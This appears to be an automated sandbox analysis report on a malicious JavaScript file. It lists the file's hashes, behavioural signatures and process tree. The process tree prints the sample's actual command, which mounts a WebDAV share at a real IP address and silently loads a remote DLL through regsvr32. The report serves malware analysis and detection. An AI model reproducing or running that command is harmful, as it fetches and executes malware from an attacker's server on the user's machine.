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Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 06:25

General

  • Target

    27312182212511628937.js

  • Size

    5KB

  • MD5

    35fbecf7eeb90d6c6a3092541d27eef6

  • SHA1

    47afead4e65e64009c145f59e60752b654b05ffb

  • SHA256

    54bd24d9704e64bdd57ed99c961faf7e4d907c3eb6efe33695c3a80cfd8ef1ee

  • SHA512

    320d901b0cbe95b69ec3ff774b7bfa2f1e3b92baa952045a5493def4efd47db8dd509045b03feb26436bf2f885e2c5972b68e03588256cc0436ada9e529174bd

  • SSDEEP

    48:lCUEGRVuVYSdpPKEPkS1f3kSKx/Z0qi4fCG5Ak8o9Eri4fCG5FdPeJ+kGfCf:nESAYgKXAs9hBiQ5AkgiQ5FdGJjGw

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\27312182212511628937.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\9778309752576.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4580

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads